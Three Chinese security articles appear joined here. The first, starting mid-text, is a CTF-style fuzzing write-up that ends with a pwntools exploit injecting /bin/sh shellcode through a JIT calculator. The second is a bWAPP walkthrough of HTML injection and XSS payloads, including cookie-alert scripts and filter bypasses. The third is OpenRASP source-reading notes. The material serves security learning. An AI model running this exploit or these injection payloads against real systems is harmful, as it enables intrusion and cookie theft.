return (x || ((((((((0 - 132869808) * 132892977) / 132862054) - 132899319) && 132899319) - 132869808) && 132892977) * 132862054))
run a(100)
Segmentation fault
root@an9ela:/home/an9ela/fuzzing/nautilus# ./fuzzing-5th
func a(x)
return (x || (((66410660 && 132862054) * 132871088) - 132878417))
run a(45617814)
Segmentation fault
func a(x)
return (x || (((((446156039430 || 132862054) && 0) || 132862054) && 6534036694) * 132878417))
run a(69474002464495)
发现这几个输入都是与参数x进行了或运算”||”，又手动试了几个:
root@an9ela:/home/an9ela/fuzzing/nautilus# ./fuzzing-5th
func a(x)
return x || 0
run a(1)
Segmentation fault
root@an9ela:/home/an9ela/fuzzing/nautilus# ./fuzzing-5th
func a(x)
return x && 1
run a(3)
Segmentation fault
发现涉及”||”和“&&”的运算都导致了程序的段错误这时我们就可以简单写个调试脚本看下为什么会Segmentation fault。
发现ecx为0x1000取地址`byte ptr [ecx]`时程序崩溃
反复调试后定位崩溃对应代码位于：
LABEL_45:
if ( !(unsigned __int8)sub_E8D0(a1, a1 + 2, v36, a4) )
goto LABEL_39;
再步入`sub_E8D0`函数
if ( v54 == v4 )
{
LABEL_80:
v50 = (int)v45[1];
*(int **)((char *)v45 + (v50 & 0xFFFFFFFE) - (*v45[2] & 0xFFFFFFFE) + 8) = v45[2];
*v45[2] = v50;
v57 = v46;
operator delete(v45);
result = sub_D5D0(a1, v42, (int)v57, (int)a3, (int)a4);
goto LABEL_11;
}
继续调下去发现程序崩溃在了`sub_D5D0`函数里再步入：
v24 = sub_D3F0(a1);
if ( (unsigned __int8)sub_A560(a5 + 100, *((_DWORD *)a2 + 2), v26, i, v24)
崩在了`sub_A560`进去看看：
bool __cdecl sub_A3E0(int a1, int a2, int a3, int a4)
{
char *v4; // eax
char *v5; // esi
char *v6; // eax
int v8[8]; // [esp+2Ch] [ebp-20h] BYREF
if ( !*(_BYTE *)(a1 + 24) )
sub_A1C0(a1);
v4 = (char *)memalign(0x1000u, 0x1000u);
v8[0] = 0;
v5 = v4;
sub_B4E0(v4, v8);
sub_B560(&v5[v8[0]], v8, *(_DWORD *)(a1 + 20) + 8);
sub_B2F0(*(_DWORD *)(a1 + 20) + 12, &v5[v8[0]], v8);
sub_B3C0(*(_DWORD *)(a1 + 28), a2, a3, a4, &v5[v8[0]], v8);
v6 = &v5[v8[0]];
*(_DWORD *)(*(_DWORD *)(a1 + 20) + 4) = &v5[v8[0]];
sub_B510(v6, v8);
sub_B650(&v5[v8[0]], v8);
if ( mprotect(v5, 0x1000u, 5) == -1 )
__printf_chk(1, "mprotected failed!");
((void (*)(void))v5)();
if ( mprotect(v5, 0x1000u, 3) == -1 )
__printf_chk(1, "mprotect failed!");
free(v5);
return **(_DWORD **)(a1 + 20) == 0;
}
`((void (*)(void))v5)();`是我们感兴趣的地方，步入后还有个`call eax`的指令
pwndbg> x/40i 0x5790c000
0x5790c000: push eax
0x5790c001: push ecx
0x5790c002: push edx
0x5790c003: push ebx
0x5790c004: push esi
0x5790c005: push ebp
0x5790c006: push edi
0x5790c007: xor edi,edi
0x5790c009: mov DWORD PTR ds:0x57903b78,esp
0x5790c00f: mov esi,0x57903b7c
0x5790c014: push esi
0x5790c015: push 0x1
0x5790c01a: mov eax,0x57909000
0x5790c01f: call eax
0x5790c021: pop edi
0x5790c022: pop ebp
0x5790c023: pop esi
0x5790c024: pop ebx
0x5790c025: pop edx
0x5790c026: pop ecx
0x5790c027: pop eax
0x5790c028: ret
此时的内存：
`call eax`跳到的指令;
pwndbg> x/40i 0x57909000
0x57909000: cmp esi,0x57907b3c
0x57909006: jl 0x57909015
0x57909008: mov eax,ds:0x57903b74
0x5790900d: mov esp,DWORD PTR ds:0x57903b78
0x57909013: jmp eax
0x57909015: pop ebp
0x57909016: pop DWORD PTR [esi+0x0]
0x57909019: push ebp
0x5790901a: mov eax,DWORD PTR [esi+0x0]
0x5790901d: add BYTE PTR [ecx],dh //get crash
0x5790901f: leave
0x57909020: test eax,0x1
0x57909025: je 0x57909028
0x57909027: inc ecx
0x57909028: mov DWORD PTR [esi+0x4],ecx
0x5790902b: mov eax,DWORD PTR [esi+0x4]
0x5790902e: mov DWORD PTR [esi+0x0],eax
0x57909031: mov esi,DWORD PTR [esp+0x4]
0x57909035: ret 0x4
0x57909038: mov esi,DWORD PTR [esp+0x4]
0x5790903c: ret 0x4
0x5790903f: add BYTE PTR [eax],al
0x57909041: add BYTE PTR [eax],al
0x57909043: add BYTE PTR [eax],al
上面是执行如下的输入的情况。
func a(x)
return x&&1
run a(1)
如果我们输入不会崩溃的”+”:
func a(x)
return x+3
run a(1)
pwndbg> x/40i 0x57222000
=> 0x57222000: cmp esi,0x57220b3c
0x57222006: jl 0x57222015
0x57222008: mov eax,ds:0x5721cb74
0x5722200d: mov esp,DWORD PTR ds:0x5721cb78
0x57222013: jmp eax
0x57222015: pop ebp
0x57222016: pop DWORD PTR [esi+0x0]
0x57222019: push ebp
0x5722201a: mov eax,DWORD PTR [esi+0x0]
0x5722201d: add eax,0x3
0x57222022: mov DWORD PTR [esi+0x4],eax
0x57222025: mov eax,DWORD PTR [esi+0x4]
0x57222028: mov DWORD PTR [esi+0x0],eax
0x5722202b: mov esi,DWORD PTR [esp+0x4]
0x5722202f: ret 0x4
0x57222032: mov esi,DWORD PTR [esp+0x4]
0x57222036: ret 0x4
0x57222039: add BYTE PTR [eax],al
由于crash的原因在于ecx值太小的问题，尝试修改输入语法观察生成的code的变化后发现当我定义一个var时，ecx就是我们定义的变量大小。因此我们再次修改fuzz时的garmmar增加var的定义。
ctx.rule("START", "func {Id}({Argu})\n\tvar y={Value}\n\treturn {Expr}\nrun {Id}({X})\n")
ctx.rule("Id", "a")
ctx.rule("Argu", "x")
ctx.rule("Expr", "({Argu} + {E})")
ctx.rule("Expr", "({Argu} - {E})")
ctx.rule("Expr", "({Argu} * {E})")
ctx.rule("Expr", "({Argu} / {E})")
ctx.rule("Expr", "({Argu} && {E})")
ctx.rule("Expr", "({Argu} || {E})")
ctx.rule("E", "({E} - {A})")
ctx.rule("E", "({E} * {A})")
ctx.rule("E", "({E} / {A})")
ctx.rule("E", "({E} && {A})")
ctx.rule("E", "({E} || {A})")
ctx.regex("X", "^[0-9]{1,20}$")
ctx.regex("Value", "^[0-9]{1,20}$")
ctx.regex("A", "^[0-9]{1,20}$")
ctx.regex("E", "^[0-9]{1,20}$")
发现了很多的timout
调一下第一个发现生成的code在leave指令前一个指令为jg且跳转地址正是该区域的地址，如果能生成jmp的话说的不定能控制程序流。
pwndbg> x/30i 0x5799a000
=> 0x5799a000: cmp esi,0x57998b3c
0x5799a006: jl 0x5799a015
0x5799a008: mov eax,ds:0x57994b74
0x5799a00d: mov esp,DWORD PTR ds:0x57994b78
0x5799a013: jmp eax
0x5799a015: pop ebp
0x5799a016: pop DWORD PTR [esi+0x0]
0x5799a019: push ebp
0x5799a01a: mov ecx,0x7f85fe
0x5799a01f: mov DWORD PTR [esi+0x8],ecx
0x5799a022: mov DWORD PTR [esi+0x4],ecx
0x5799a025: mov eax,DWORD PTR [esi+0x0]
0x5799a028: jg 0x5799a05b
0x5799a02a: leave
0x5799a02b: test eax,0x0
0x5799a030: je 0x5799a033
0x5799a032: inc ecx
0x5799a033: mov DWORD PTR [esi+0x8],ecx
0x5799a036: mov eax,DWORD PTR [esi+0x8]
0x5799a039: mov DWORD PTR [esi+0x0],eax
0x5799a03c: mov esi,DWORD PTR [esp+0x4]
0x5799a040: ret 0x4
0x5799a043: mov esi,DWORD PTR [esp+0x4]
0x5799a047: ret 0x4
0x5799a04a: add BYTE PTR [eax],al
0x5799a04c: add BYTE PTR [eax],al
怀疑8357374应该是个对应比较跳转的汇编，利用pwntools disasm：
>>> disasm("8357374")
' 0: 38 33 cmp BYTE PTR [ebx], dh\n 2: 35 37 33 37 34 xor eax, 0x34373337'
>>> u32(asm("jmp ax").ljust(4,'\x00'))
14745446
所以将var赋值为14745446看到
pwndbg> x/40i 0x56643000
=> 0x56643000: cmp esi,0x56641b3c
0x56643006: jl 0x56643015
0x56643008: mov eax,ds:0x5663db74
0x5664300d: mov esp,DWORD PTR ds:0x5663db78
0x56643013: jmp eax
0x56643015: pop ebp
0x56643016: pop DWORD PTR [esi+0x0]
0x56643019: push ebp
0x5664301a: mov ecx,0xe0ff66
0x5664301f: mov DWORD PTR [esi+0x8],ecx
0x56643022: mov DWORD PTR [esi+0x4],ecx
0x56643025: mov eax,DWORD PTR [esi+0x0]
0x56643028: loopne 0x5664305b
0x5664302a: leave
0x5664302b: test eax,0x0
0x56643030: je 0x56643033
0x56643032: inc ecx
0x56643033: mov DWORD PTR [esi+0x8],ecx
0x56643036: mov eax,DWORD PTR [esi+0x8]
0x56643039: mov DWORD PTR [esi+0x0],eax
0x5664303c: mov esi,DWORD PTR [esp+0x4]
0x56643040: ret 0x4
0x56643043: mov esi,DWORD PTR [esp+0x4]
0x56643047: ret 0x4
0x5664304a: add BYTE PTR [eax],al
0x5664304c: add BYTE PTR [eax],al
0x5664304e: add BYTE PTR [eax],al
0x56643050: add BYTE PTR [eax],al
0x56643052: add BYTE PTR [eax],al
0x56643054: add BYTE PTR [eax],al
0x56643056: add BYTE PTR [eax],al
0x56643058: add BYTE PTR [eax],al
0x5664305a: add BYTE PTR [eax],al
0x5664305c: add BYTE PTR [eax],al
0x5664305e: add BYTE PTR [eax],al
loopne也是条件跳转但此时的寄存器ecx值大于0且zf为0可以跳转，接下来就是考虑如何在跳转处写入shellcode。
在增加算数表达式的长度时生成的code也会增加，因此我们可以增加算数表达式的长度并在跳转的对应位置写入shellcode(通过u32(opcode)传入表达式)。
构造payload如下：
payload = '''
func f(v1)
\tvar v4 = 14745446
\treturn (((((v1 && 9)+9)+9)-9)+{}+{})
run f(1)
'''.format(u32(asm("mov ax,0")))
成功执行到了`mov ax, 0`
接下来就可以构造完整的shellcode链了，需要注意的是程序为32位，为了保证shellcode不会偏移错位最好使得每条指令长度为2byte（不足的使用’nop’补充），且为了shellcode的连续执行，在每条指令后面跟上一个固定偏移的跳转从而跳到下一条指令执行。
payload = '''
func f(v1)
\tvar v4 = 14745446
\treturn ((((((v1 && 9)+9)+9)-9)+{})+{})
run f(1)
'''.format(u32(asm('mov ah, 0x68')+"\xeb\x07"),u32(asm('mov al, 0x73')+"\xeb\x07"))
p.sendline(payload)
这样构造就可以将两条指令连接起来。
exp:
from pwn import *
# context(arch='i386', os='linux', aslr=False, terminal=['tmux', 'neww'])
context.log_level = 'debug'
context.arch = 'i386'
# context.terminal = ["tmux", "splitw", "-h"]
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def main(host, port = 1234):
global p
if host:
p = remote(host, port)
else:
p = process("./fuzzing-5th")
# debug(0xA4DE)
# debug(0xFD75)
sleep(1)
shellcode = [
asm('xor ecx, ecx'),
asm('xor eax, eax'),
asm('xor edx, edx'),
asm('push ecx'),
asm('mov ah, 0x68'),
asm('mov al, 0x73'),
asm('push ax'),
asm('mov ah, 0x2f'),
asm('mov al, 0x6e'),
asm('push ax'),
asm('mov ah, 0x69'),
asm('mov al, 0x62'),
asm('push ax'),
asm('mov ah, 0x2f'),
asm('mov al, 0x2f'),
asm('push ax'),
asm('mov ebx, esp'),
asm('xor eax, eax'),
asm('mov al, 11'),
asm('int 0x80'),
]
shellcode = [instruction.ljust(2, asm('nop')) for instruction in shellcode]
shellcode = [instruction + '\xeb\x07' for instruction in shellcode]
s = '((((v1 && 9)-9)-9)-9)'
for instruction in shellcode:
s = '({} + {})'.format(s, u32(instruction))
payload = '''
func f(v1)
\tvar v4 = {}
\treturn {}
run f(1)
'''.format(14745446, s)
#15400960
# payload = '''
# func f(v1)
# \tvar v4 = 14745446
# \treturn ((((((v1 && 9)+9)+9)-9)+{})+{})
# run f(1)
# '''.format(u32(asm('mov ah, 0x68')+"\xeb\x07"),u32(asm('mov al, 0x73')+"\xeb\x07"))
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
main(0)
## 总结
通过fuzzing触发了程序的漏洞并通过对漏洞的进一步利用完成了程序流的劫持，整个过程下来并没有花费太多的时间在逆向程序的处理逻辑上，最后虽然对于漏洞的成因仍然不是很清楚但仍然pwn掉了，但通过这次的实践也让我体会到了使用fuzzing技术对于漏洞挖掘的重要意义，制定一个行之有效的fuzzing策略将能很大程度上提高我们漏洞挖掘的效率。 | 社区文章 |
# 1.bWAPP HTML Injection (HTML注入)
## **HTML Injection - Reflected (GET)**
get方式的html代码注入
漏洞url：<http://range.anhunsec.cn:82/htmli_get.php>
### **Level: low**
低级漏洞中，输入数据没有做校验，不经任何处理地接受用户数据
输入payload：
First name:
# hello
Last name:
# test
或者输入payload：
<a href="https://www.baidu.com">baidu</a>
可跳转到百度页面
或者输入payload：`<script>document.write(document.URL)</script>`
document对象 ：代表整个HTML 文档,可用来访问页面中的所有元素
document.URL：设置URL属性从而在同一窗口打开另一网页
document.write()：动态向页面写入内容
或者输入payload：`<script>alert(document.cookie)</script>`，弹cookie
或者输入payload：`<script>alert(/xss/)</script>`，弹xss
### **Level: medium**
输入low级别的payload：`<script>alert(/xss/)</script>`，发现被全部显示
抓包，会发现/)<符号均被编码
0,1,2分别对应三个等级，可以查找对应的/bWAPP/bwapp/htmli_get.php文件，三个等级分别要进行不同的检测
中级漏洞中，黑名单机制，转义了部分危险数据
这里使用了urldecode函数，对字符串进行URL解码，返回的是已解码的字符串
所以可以在输入框输入编码后的代码，可以通过URL编码绕过
First name: %3Ch1%3Ehello%3C/h1%3E
Last name: %3Ch1%3Eworld%3C/h1%3E
输入部分转义数据,payload为:
%3ca+href%3d%27https%3a%2f%2fwww.baidu.com%27%3ebaidu%3c%2fa%3e
### **Level: high**
输入medium级别的payload：%3ca+href%3d%27https%3a%2f%2fwww.baidu.com%27%3ebaidu%3c%2fa%3e，发现被全部显示
高级漏洞中，使用了htmlspecialchars()函数过滤，把预定义的字符&," ,’ ,<,> 转换为 HTML
实体，是安全的,输入的代码没有被执行， 不可绕过
## **HTML Injection - Reflected (POST)**
漏洞url：<http://range.anhunsec.cn:82/htmli_post.php>
操作同HTML Injection - Reflected (GET)一样，只不过是成了post方式。
输入payload：
First name:
# hello
Last name:
# test
得到这样的结果
## **HTML Injection - Reflected (Current URL )**
漏洞url：<http://range.anhunsec.cn:82/htmli_current_url.php>
### **Level: low**
正常情况下显示如下
由于url中输入自动转义成urlcode，在burp中还原成原始字符即可
构造url：`http://range.anhunsec.cn:82/htmli_current_url.php?a=<script>alert('xss')</script>`
burp抓包，将编码部分改成正常的
会看到弹出xss
### **Level：medium &high**
尝试抓包修改为正常的并不能成功
查看源码
找到htmli _current_ url.php文件后，发现这样的一段代码，发现在case"2"时要进行xss_check_3的检测
（xss_check_3见HTML Injection - Reflected (GET)的high级别）
## **HTML Injection - Stored (Blog)**
漏洞url：<http://range.anhunsec.cn:82/htmli_stored.php>
### **Level：low**
发现有输入框，尝试一下xss注入，输入payload：`<script>alert(/xss/)</script>`，弹xss
### **Level：medium**
这次虽然显示已经添加，但是并没有弹窗，看源码
可以看到case"1"或case"2"都要进行sqli_check_3检测
function sqli_check_3($link, $data)
{
return mysqli_real_escape_string($link, $data);
}
PHP中的mysqli_real_escape_string()函数就是要转义在SQL语句中使用的字符串中的特殊字符
## **iFrame Injection**
漏洞url：[http://range.anhunsec.cn:82/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250](http://range.anhunsec.cn:82/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250)
iframe是可用于在HTML页面中嵌入一些文件(如文档，视频等)的一项技术。对iframe最简单的解释就是“iframe是一个可以在当前页面中显示其它页面内容的技术”
通过利用iframe标签对网站页面进行注入，是利用了HTML标签，实际上就是一个阅读器，可以阅读通过协议加载的活服务器本地的文件、视频等
### **Level：low**
我们这里发现，它包含了一个robots.txt的文件，我们试试其他的
构造url：ParamUrl=../admin/phpinfo.php&ParamWidth=250&ParamHeight=250
查看源码
没有对参数进行过滤，可以控制param标签的输入，构造url：ParamUrl=[https://www.baidu.com&ParamWidth=250&ParamHeight=250](https://www.baidu.com&ParamWidth=250&ParamHeight=250)
### **Level：medium**
查看源码
function xss_check_4($data)
{
// addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
// These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
// Do NOT use this for XSS or HTML validations!!!
return addslashes($data);
}
可以看出medium不能控制paramurl的输入，所以只能通过控制ParamHeight和ParamWidth来实现注入
大体意思就是addslashes会在数据库查询中需要引用的字符（’,",\）前返回一个反斜杠字符串进行构造
构造url：`ParamUrl=robots.txt&ParamWidth=250"></iframe><script>alert(/xss/)</script>&ParamHeight=250`
### **Level：high**
查看源码
function xss_check_3($data, $encoding = "UTF-8")
{
// htmlspecialchars - converts special characters to HTML entities
// '&' (ampersand) becomes '&'
// '"' (double quote) becomes '"' when ENT_NOQUOTES is not set
// "'" (single quote) becomes ''' (or ') only when ENT_QUOTES is set
// '<' (less than) becomes '<'
// '>' (greater than) becomes '>'
return htmlspecialchars($data, ENT_QUOTES, $encoding);
}
htmlspecialchars()函数会把预定义的字符（&,’,",<,>）转换为 HTML 实体
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# OpenRASP学习笔记
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.引言
最近看了看OpenRASP（JAVA版），而网上关于OpenRASP已有一些文章，但纸上得来终觉浅，自己阅读一番再另外写篇文章，也还行，算是总结算是笔记。如文中有错误，还望同学们指出，十分感谢。
## 2.阅读前准备工作
一开始还需要将open-rasp安装到Tomcat，这里按照官方文档指引即可。
### 2.1编译
**编译V8引擎**
笔者在这里花了半天时间，一度十分懵逼，不懂C++编译这块的东西，按照官方文档来弄又不得行。
笔者的编译环境
Debian 4.9.18 (kali)
OpenJDK 1.8
gcc version 8.3.0
编译获取v8引擎jar包：
curl -L https://github.com/Kitware/CMake/releases/download/v3.15.3/cmake-3.15.3-Linux-x86_64.tar.gz | tar zx -C /tmp
export PATH=/tmp/cmake-3.15.3-Linux-x86_64/bin:$PATH
git clone https://github.com/baidu-security/openrasp-v8.git
~/openrasp-v8# mkdir -p openrasp-v8/build64 && cd openrasp-v8/build64
~/openrasp-v8/openrasp-v8# cmake -DCMAKE_BUILD_TYPE=RelWithDebInfo -DENABLE_LANGUAGES=java ..
~/openrasp-v8/openrasp-v8# make
~/openrasp-v8/openrasp-v8# mkdir -p ../java/src/main/resources/natives/linux_64 && cp java/libopenrasp_v8_java.so $_
~/openrasp-v8/java# mvn install
**编译项目**
本文使用的是`1.3.4`版本。
Injellij IDEA打开 \openrasp-master\agent\java
Help > Find Action ，输入并打开 `Maven Project`
由于V8是在虚拟机上编译的，不在本地物理机的maven仓库中，需要先将其加入仓库
mvn install:install-file -Dfile=D:\share\v8-1.0-SNAPSHOT.jar -DgroupId=com.baidu.openrasp -DartifactId=v8 -Dpackaging=jar -Dversion=1.0-SNAPSHOT
编译`rasp-boot`
由于`rasp-engine`依赖`rasp-boot`，所以需要将`rasp-boot`加入到maven仓库中
mvn install:install-file -Dfile=D:\turn1tup\program_java\RASP\openrasp\agent\java\boot\target\rasp-boot-1.3.4-shaded.jar -DgroupId=com.baidu.openrasp -DartifactId=rasp-boot -Dpackaging=jar -Dversion=1.3.4
同样操作编译`rasp-engine`即可。
**Debug**
Windows下，在Tomcat的catalina.bat的open-rasp配置后添加一行JDWP配置：
if "%ACTION%" == "start" set JAVA_OPTS="-javaagent:%CATALINA_HOME%\rasp\rasp.jar" %JAVA_OPTS%
if "%ACTION%" == "start" set JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,address=1043,server=y,suspend=y %JAVA_OPTS%
IDEA中将编译后的JAR包加入到项目Libraries，随后配置远程调试
断点打到程序最开始执行的地方，从最开始的地方看起。
openrasp\agent\java\boot\src\main\java\com\baidu\openrasp\Agent.java
## 3.工作原理
这块技术之前没接触过，笔者翻阅了前辈们写的文章与官方文档，大致了解了一番，这里也简单叙述一下。
### JVM TI接口
JAVA虚拟机开放了一个叫 JVM Tool Interface (JVM TI) 的接口，通过该接口，对于运行于JVM的程序，我们可以查看和控制。
实现了JVM TI接口的程序，称为agent，agent与jvm运行在同一进程并直接与jvm进行通信。agent能通过三种方式被执行，①Agent
Start-Up (OnLoad phase)：在JAVA程序的main函数执行之前执行agent，java命令中需通过-javaagent参数来指定agent，实现方式为premain ②Agent Start-Up (Live phase)
：对于正在运行的JAVA程序，通过JVM进程间通信，动态加载agent，实现方式为attatch机制 ③Agent
Shutdown：在虚拟机的library 将要被卸载时执行，该方式忽略。
OpenRASP实现了前面两种加载方式，在比较第一种与第二种方式的优劣势时，[浅谈RASP](https://www.anquanke.com/post/id/187415)文中说明到，attatch机制由于JVM本身的进程保护机制，会导致重复字节码的插入问题，造成重复告警，增加业务压力，而解决该问题的方法又另外会带来业务压力。
### 字节码操作
**ASM**
备注：OpenRASp使用的Javaassit。
通过agent，我们可以访问与修改JVM中的JAVA类，这时候获取到的相关的数据为JAVA字节码，通常通过asm字节码操作框架进行字节码操作。
引用[浅谈RASP](https://www.anquanke.com/post/id/187415)中对ASM的说明：
> 通过该图可以清晰的看出调用顺序，对于新手来说可以简单的理解为下面这样的调用顺序：
>
> * 需要访问类，所以要声明ClassReader，来“获取”类。
> * 如果需要对类中的内容进行修改，就需要声明ClassWriter它是继承于ClassReader的。
> * 然后实例化“访问者”ClassVisitor来进行类访问，至此就以“访问者”的身份进入了类，你可以进行以下工作：
> * 如果需要访问注解，则实例化AnnotationVisitor
> * 如果需要访问参数，则实例化FieldVisitor
> * 如果需要访问方法，则实例化MethodVisitro
>
**Javassist**
引用 [字节码增强技术探索](https://tech.meituan.com/2019/09/05/java-bytecode-enhancement.html)
>
> ASM是在指令层次上操作字节码的，阅读上文后，我们的直观感受是在指令层次上操作字节码的框架实现起来比较晦涩。故除此之外，我们再简单介绍另外一类框架：强调源代码层次操作字节码的框架Javassist。
>
>
> 利用Javassist实现字节码增强时，可以无须关注字节码刻板的结构，其优点就在于编程简单。直接使用java编码的形式，而不需要了解虚拟机指令，就能动态改变类的结构或者动态生成类。其中最重要的是ClassPool、CtClass、CtMethod、CtField这四个类：
>
> * CtClass（compile-time
> class）：编译时类信息，它是一个class文件在代码中的抽象表现形式，可以通过一个类的全限定名来获取一个CtClass对象，用来表示这个类文件。
> *
> ClassPool：从开发视角来看，ClassPool是一张保存CtClass信息的HashTable，key为类名，value为类名对应的CtClass对象。当我们需要对某个类进行修改时，就是通过pool.getCtClass(“className”)方法从pool中获取到相应的CtClass。
> * CtMethod、CtField：这两个比较好理解，对应的是类中的方法和属性。
>
>
>
> 了解这四个类后，我们可以写一个小Demo来展示Javassist简单、快速的特点。我们依然是对Base中的process()方法做增强，在方法调用前后分别输出”start”和”end”，实现代码如下。我们需要做的就是从pool中获取到相应的CtClass对象和其中的方法，然后执行method.insertBefore和insertAfter方法，参数为要插入的Java代码，再以字符串的形式传入即可，实现起来也极为简单。
>
>
> import com.meituan.mtrace.agent.javassist.*;
>
> public class JavassistTest {
> public static void main(String[] args) throws NotFoundException,
> CannotCompileException, IllegalAccessException, InstantiationException,
> IOException {
> ClassPool cp = ClassPool.getDefault();
> CtClass cc = cp.get("meituan.bytecode.javassist.Base");
> CtMethod m = cc.getDeclaredMethod("process");
> m.insertBefore("{ System.out.println(\"start\"); }");
> m.insertAfter("{ System.out.println(\"end\"); }");
> Class c = cc.toClass();
> cc.writeFile("/Users/zen/projects");
> Base h = (Base)c.newInstance();
> h.process();
> }
> }
>
## 4.实现
### 4.1框架逻辑
这里就偷懒不写了，直接上官方链接：
<https://rasp.baidu.com/doc/hacking/architect/java.html>
### 4.2 代码逻辑
**manifest**
rasp.jar的MANIFEST.MF文件：
rasp-engine.jar：
**premain**
从premain启动的OnLoad
phase方式，调用了init进行了如下操作：addJarToBootstrap（打破双亲委派机制）、readVersion、启动engine。
堆栈信息：
init:92, Agent (com.baidu.openrasp)
premain:71, Agent (com.baidu.openrasp)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
loadClassAndStartAgent:386, InstrumentationImpl (sun.instrument)
loadClassAndCallPremain:401, InstrumentationImpl (sun.instrument)
`init:92, Agent (com.baidu.openrasp)`
`premain:71, Agent (com.baidu.openrasp)`
另外没看懂attach方式（agentmain）是怎么实现的，有点奇怪，先放着，后面再回顾。
**1-1 打破双亲委派机制**
将rasp.jar添加到BootstrapClassLoader，这样做是由于双亲委派机制的存在，类加载器在加载类时无法往下委派加载。用户自定义的类使用的类加载器SystemClassLoader。而当被hook的类需要去调用检测方法，如果该hook类为BootstrapClassLoader加载的，则无法成果调用该检测方法。官方文档也有说明：
> 当去 hook 像 java.io.File 这样由 BootstrapClassLoader 加载的类的时候，无法从该类调用非
> BootstrapClassLoader 加载的类中的接口，所以 agent.jar 会先将自己添加到 BootstrapClassLoader
> 的ClassPath下，这样 hook 由 BootstrapClassLoader 加载的类的时候就能够成功调用到 agent.jar 中的检测入口
addJarToBootstrap:40, JarFileHelper (com.baidu.openrasp)
init:92, Agent (com.baidu.openrasp)
premain:71, Agent (com.baidu.openrasp)
`addJarToBootstrap:40, JarFileHelper (com.baidu.openrasp)`
**1-2-1 装载engine**
使用moduleClassLoader（ExtClassLoader）装载rasp-engine.jar，并且将EngineBoot实例化，赋值给module变量，为后续启动rasp模块做准备。
<init>:54, ModuleContainer (com.baidu.openrasp)
<init>:88, ModuleLoader (com.baidu.openrasp)
load:118, ModuleLoader (com.baidu.openrasp)
init:94, Agent (com.baidu.openrasp)
premain:71, Agent (com.baidu.openrasp)
`<init>:54, ModuleContainer (com.baidu.openrasp)`
`<init>:88, ModuleLoader (com.baidu.openrasp)`
**1-2-2 启动engine**
ModuleContainer调用了rasp-engine.jar的入口类EngineBoot
的start方法，start方法中进行了如下操作：加载V8引擎、加载配置与基线检测、初始化插件系统、检测器初始化、插桩、云管理初始化。
start:49, EngineBoot (com.baidu.openrasp)
start:78, ModuleContainer (com.baidu.openrasp)
<init>:89, ModuleLoader (com.baidu.openrasp)
load:118, ModuleLoader (com.baidu.openrasp)
init:94, Agent (com.baidu.openrasp)
premain:71, Agent (com.baidu.openrasp)
`start:49, EngineBoot (com.baidu.openrasp)`
加载V8 JS引擎，V8为native实现，本文这里不关注，具体代码在[openrasp-v8](https://github.com/baidu-security/openrasp-v8)。
load:9, Loader (com.baidu.openrasp.v8)
start:57, EngineBoot (com.baidu.openrasp)
start:78, ModuleContainer (com.baidu.openrasp)
<init>:89, ModuleLoader (com.baidu.openrasp)
load:118, ModuleLoader (com.baidu.openrasp)
init:94, Agent (com.baidu.openrasp)
premain:71, Agent (com.baidu.openrasp)
**1-2-2-2 加载配置与基线检测**
大致是初始化本地日志系统，如果用户配置了syslog，则添syslog
appender；还会读取用户配置`openrasp.yml`，赋值相关配置变量，包括hook类的开关等；另外会做一些安全基线检测。这里不是关注点，不多描述。
loadConfigFromFile:207, Config (com.baidu.openrasp.config)
init:144, Config (com.baidu.openrasp.config)
<clinit>:124, Config (com.baidu.openrasp.config)
setLogMaxBackup:234, DynamicConfigAppender (com.baidu.openrasp.cloud.syslog)
initLog4jLogger:133, DynamicConfigAppender (com.baidu.openrasp.cloud.syslog)
ConfigFileAppender:36, LogConfig (com.baidu.openrasp.messaging)
loadConfig:118, EngineBoot (com.baidu.openrasp)
start:63, EngineBoot (com.baidu.openrasp)
start:78, ModuleContainer (com.baidu.openrasp)
<init>:89, ModuleLoader (com.baidu.openrasp)
load:118, ModuleLoader (com.baidu.openrasp)
init:94, Agent (com.baidu.openrasp)
premain:71, Agent (com.baidu.openrasp)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
loadClassAndStartAgent:386, InstrumentationImpl (sun.instrument)
loadClassAndCallPremain:401, InstrumentationImpl (sun.instrument)
`loadConfigFromFile:207, Config (com.baidu.openrasp.config)`
`loadConfig:125, EngineBoot (com.baidu.openrasp)`
**1-2-2-3 初始化插件系统**
Initialize:66, JS (com.baidu.openrasp.plugin.js)
start:70, EngineBoot (com.baidu.openrasp)
start:78, ModuleContainer (com.baidu.openrasp)
<init>:89, ModuleLoader (com.baidu.openrasp)
load:118, ModuleLoader (com.baidu.openrasp)
init:94, Agent (com.baidu.openrasp)
premain:71, Agent (com.baidu.openrasp)
`Initialize:66, JS (com.baidu.openrasp.plugin.js)`
**1-2-2-3-1 初始化传参变量**
插件JS中，获取到的数据来源于V8引擎的传递，这里先对传递的一些参数变量进行初始化，其中server（系统环境变量）为全局静态保存的数据，parameter、header等则为根据请求动态获取的数据。
setKeys:39, Context (com.baidu.openrasp.plugin.js)
Initialize:88, JS (com.baidu.openrasp.plugin.js)
start:70, EngineBoot (com.baidu.openrasp)
start:78, ModuleContainer (com.baidu.openrasp)
<init>:89, ModuleLoader (com.baidu.openrasp)
